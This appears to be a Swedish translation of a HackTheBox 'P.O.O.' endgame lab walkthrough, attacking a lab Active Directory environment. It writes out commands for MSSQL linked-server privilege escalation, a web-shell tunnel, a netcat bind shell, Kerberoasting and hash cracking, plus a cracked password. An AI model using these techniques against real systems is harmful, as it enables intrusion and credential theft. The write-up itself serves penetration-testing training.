HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

I denna artikel ska vi titta pÄ genomförandet av inte bara en maskin, utan en hel mini-laboratorie frÄn plattformen HackTheBox.

Som beskrivs Àr P.O.O. avsedd för att testa fÀrdigheter i alla stadier av attacker inom en liten Active Directory-miljö. MÄlet Àr att kompromettera en tillgÀnglig vÀrd, höja privilegier och slutligen kompromettera hela domÀnen, samtidigt som 5 flaggor samlas.

Anslutningen till laboratoriet sker via VPN. Det rekommenderas att inte ansluta frĂ„n din arbetsdator eller frĂ„n en vĂ€rd dĂ€r du har viktiga data, eftersom du gĂ„r in i ett privat nĂ€tverk med personer som har kunskap inom cybersĂ€kerhet 🙂

Organisationsinformation
För att du ska kunna hĂ„lla dig informerad om nya artiklar, programvara och annan information har jag skapat en kanal pĂ„ Telegram och en grupp för att diskutera alla frĂ„gor inom omrĂ„det cybersĂ€kerhet. Även dina personliga förfrĂ„gningar, frĂ„gor, förslag och rekommendationer kommer jag att ta upp personligen och svara alla.

All information presenteras uteslutande i utbildningssyfte. Författaren av detta dokument tar inget ansvar för eventuell skada som orsakas nÄgon genom anvÀndning av kunskaper och metoder som erhÄllits genom att studera detta dokument.

Intro

Denna endgame bestÄr av tvÄ maskiner och innehÄller 5 flaggor.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Det ges Àven en beskrivning och adress till den tillgÀngliga vÀrden.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

LÄt oss börja!

Recon flag

Denna maskin har IP-adressen 10.13.38.11, som jag lÀgger till i /etc/hosts.
10.13.38.11 poo.htb

Först skannar vi öppna portar. Eftersom det tar tid att skanna alla portar med nmap, gör jag först detta med masscan. Vi skannar alla TCP och UDP portar frÄn grÀnssnittet tun0 med en hastighet av 500 paket per sekund.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Nu för att fÄ mer detaljerad information om tjÀnsterna som körs pÄ portarna, lÄt oss köra en skanning med alternativet -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ, vi har IIS och MSSQL-tjÀnster. Under tiden lÀr vi oss det verkliga DNS-namnet pÄ domÀnen och datorn. PÄ webbservern möts vi av IIS startsidan.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

LÄt oss lista upp katalogerna. Jag anvÀnder gobuster för detta. I parametrarna anger jag antalet trÄdar 128 (-t), URL (-u), ordlista (-w) och filÀndelser som vi Àr intresserade av (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

PÄ sÄ vis har vi HTTP-autentisering för katalogen /admin, samt en tillgÀnglig fil för lagring av skrivbordstjÀnsten .DS_Store. .DS_Store Àr filer som lagrar anvÀndarinstÀllningar för en mapp, sÄsom fil-lista, ikon-position, valt bakgrundsbild. En sÄdan fil kan hamna i en webbservers katalog hos webbutvecklare. PÄ sÄ vis fÄr vi information om innehÄllet i katalogen. För detta kan vi anvÀnda DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi fÄr innehÄllet i katalogen. Det mest intressanta hÀr Àr katalogen /dev, varifrÄn vi i tvÄ grenar kan se kÀllkoden och db-filer. Men vi kan se de första 6 tecknen av namnen pÄ filer och kataloger, om tjÀnsten Àr sÄrbar mot IIS ShortName. Vi kan kontrollera om denna sÄrbarhet finns med hjÀlp av IIS shortname Scanner.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och vi hittar en textfil som börjar med "poo_co". Utan att veta vad jag ska göra hÀrnÀst, valde jag helt enkelt ut alla ord som börjar med "co" frÄn katalogordlistan.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Och vi gÄr igenom med hjÀlp av wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och vi hittar ett passande ord! Vi tittar pÄ denna fil, sparar inloggningsuppgifterna (i och med parametern DBNAME, de Àr frÄn MSSQL).

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi lÀmnar in flaggan, och vi har avancerat med 20%.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Huh flag

Vi ansluter till MSSQL, jag anvÀnder DBeaver.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Inget intressant hittas i denna databas, lÄt oss skapa en SQL-editor och kontrollera vilka anvÀndare som finns.

SELECT name FROM master..syslogins;

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi har tvÄ anvÀndare. LÄt oss kontrollera deras privilegier.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ det finns inga privilegier. LÄt oss ta en titt pÄ de relaterade servrarna, jag har skrivit detaljerat om denna metodik hÀr.

SELECT * FROM master..sysservers;

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ vi hittar en till SQL Server. LÄt oss kontrollera kommandokörning pÄ denna server med hjÀlp av openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och vi kan till och med bygga upp ett trÀd av frÄgor.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Det Àr sÄ att nÀr vi gör en förfrÄgan till den kopplade servern, sÄ utförs förfrÄgan i en annan anvÀndares kontext! LÄt oss titta pÄ i vilken anvÀndares kontext vi arbetar pÄ den kopplade servern.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och nu tittar vi pÄ i vilken kontext förfrÄgningar frÄn den kopplade servern utförs pÄ vÄr!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄledes Àr detta DBO-kontextet som bör ha alla privilegier. LÄt oss kontrollera privilegierna vid en förfrÄgan frÄn den kopplade servern.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Som man kan se, har vi alla privilegier! LÄt oss skapa vÄr egen administratör. Men genom openquery tillÄts det inte, lÄt oss göra detta genom EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Och nu loggar vi in med den nya anvÀndarens uppgifter och observerar den nya databasen flag.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi lÀmnar denna flagga och gÄr vidare.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

BackTrack flag

Vi fÄr en shell via MSSQL, jag anvÀnder mssqlclient frÄn impacket-paketet.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi behöver fÄ tag pÄ lösenord, och det första vi redan har stött pÄ Àr webbplatsen. SÄ vi behöver konfigurationsfilen för webbservern (att placera en bekvÀm shell fungerar tydligen inte, det verkar vara en brandvÀgg).

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Men Ă„tkomsten Ă€r förbjuden. Även om vi kan lĂ€sa filer frĂ„n MSSQL, mĂ„ste vi veta vilka programmeringssprĂ„k som Ă€r konfigurerade. Och i MSSQL-katalogen fĂ„r vi veta att Python finns.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ att lÀsa filen web.config Àr inga problem.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Med de hittade inloggningsuppgifterna gÄr vi till /admin och hÀmtar flaggen.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Foothold flag

Det finns faktiskt vissa nackdelar med att anvÀnda brandvÀgg, men nÀr vi granskar nÀtverksinstÀllningarna mÀrker vi att Àven IPv6 anvÀnds!

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi lÀgger till denna adress i /etc/hosts.
dead:babe::1001 poo6.htb
LÄt oss skanna vÀrden igen, men den hÀr gÄngen med protokollet IPv6.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och WinRM-tjÀnsten Àr ocksÄ tillgÀnglig över IPv6. LÄt oss ansluta med de hittade referenserna.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Det finns en flagga pÄ skrivbordet, lÄt oss lÀmna in den.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

P00ned flag

Genom att göra reconnaissance pÄ vÀrden med hjÀlp av winpeas hittar vi inget speciellt. DÄ fattades beslutet att Äterigen leta efter referenser (jag har ocksÄ skrivit om detta artikeln). Men jag lyckades inte hÀmta alla SPN frÄn systemet via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

LÄt oss köra kommandot via MSSQL.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Den angivna metoden ger oss SPN för anvÀndarna p00_hr och p00_adm, vilket innebÀr att de Àr sÄrbara för en attack som Kerberoasting. Kort sagt kan vi fÄ tag pÄ deras lösenordshashar.

Först behöver vi fĂ„ en stabil shell som körs som anvĂ€ndaren MSSQL. Men eftersom vi Ă€r begrĂ€nsade i Ă„tkomst har vi bara kontakt med vĂ€rden via port 80 och 1433. Men det finns en möjlighet att tunnera trafik över port 80! För detta kommer vi att anvĂ€nda följande applikation. Vi laddar upp filen tunnel.aspx till hemkatalogen för webbservern — C:inetpubwwwroot.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Men nÀr vi försöker komma Ät den fÄr vi ett felmeddelande 404. Det betyder att filer med *.aspx inte körs. För att filer med detta tillÀgg ska köras, installerar vi ASP.NET 4.5 pÄ följande sÀtt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och nu nÀr vi försöker nÄ tunnel.aspx fÄr vi svaret att allt Àr klart för drift.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

LÄt oss starta klientdelen av applikationen som kommer att ansvara för att retransmittera trafiken. Vi kommer att omdirigera all trafik frÄn port 5432 till servern.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och vi anvÀnder proxychains för att skicka trafik frÄn vilken applikation som helst genom vÄr proxy. Vi lÀgger till denna proxy i konfigurationsfilen /etc/proxychains.conf.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Nu laddar vi upp programmet netcat, med hjÀlp av vilket vi ska skapa en stabil bind shell, samt skriptet Invoke-Kerberoast, med hjÀlp av vilket vi kommer att genomföra Kerberoasting-attacken.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Nu startar vi listening via MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Och vi ansluter via vÄr proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

LÄt oss fÄ tag pÄ hasharna.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
typ kerb_hashes.txt

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

DÀrefter mÄste vi bryta dessa hashar. Eftersom det inte fanns nÄgra lösenord i rockyou-ordlistan anvÀnde jag alla lösenordslister som tillhandahölls i Seclists. För att bryta dem anvÀnder vi hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Och vi hittar bÄda lösenorden, det första i ordboken dutch_passwordlist.txt och det andra i Keyboard-Combinations.txt.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ vi har tre anvÀndare, vi gÄr till domÀnkontrollern. Först tar vi reda pÄ dess adress.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Bra, vi har fÄtt IP-adressen till domÀnkontrollern. LÄt oss ta reda pÄ alla domÀnanvÀndare, och vem av dem som Àr administratör. För detta laddar vi ner skriptet PowerView.ps1. Sedan ansluter vi med evil-winrm, angivande sökvÀgen till skriptet i parametern -s. Och sedan laddar vi helt enkelt upp skriptet PowerView.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Nu har vi tillgÄng till alla dess funktioner. AnvÀndaren p00_adm verkar vara privilegierad, sÄ vi arbetar i hans kontext. Vi skapar ett PSCredential-objekt för denna anvÀndare.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu kommer alla Powershell-kommandon dÀr vi anger Creds att utföras i p00_adm:s namn. LÄt oss lista anvÀndarna och attributet AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

SÄ, vÄr anvÀndare Àr verkligen privilegierad. LÄt oss se vilka grupper han tillhör.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi bekrÀftar till slut att anvÀndaren Àr domÀnadministratör. Detta ger honom rÀtt att logga in pÄ domÀnkontrollern pÄ distans. LÄt oss försöka logga in via WinRM, genom att anvÀnda vÄr tunnel. Jag blev förvirrad av de fel som reGeorg gav nÀr jag anvÀnde evil-winrm.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

DÄ anvÀnder vi ett annat, enklare, skript för att ansluta till WinRM. Vi öppnar och Àndrar instÀllningarna för anslutningen.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Vi försöker ansluta, och vi Àr inne i systemet.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Men det finns ingen flagga. DÄ kollar vi anvÀndaren och kontrollerar skrivborden.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Hos mr3ks hittar vi flaggan och laboratoriet Àr avklarat till 100%.

HackTheBox endgame. GenomgÄng av laboratoriet Professional Offensive Operations. Pentest av Active Directory

Det Ă€r allt. Som feedback, kommentera — har du lĂ€rt dig nĂ„got nytt frĂ„n denna artikel och var den anvĂ€ndbar för dig?

Du kan gÄ med oss i Telegram. DÀr kan man hitta intressanta material, lÀckta kurser samt mjukvara. LÄt oss bygga ett samhÀlle dÀr det finns mÀnniskor som kan mycket inom IT, sÄ att vi alltid kan hjÀlpa varandra med alla frÄgor inom IT och IT-sÀkerhet.

KĂ€lla: habr.com

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster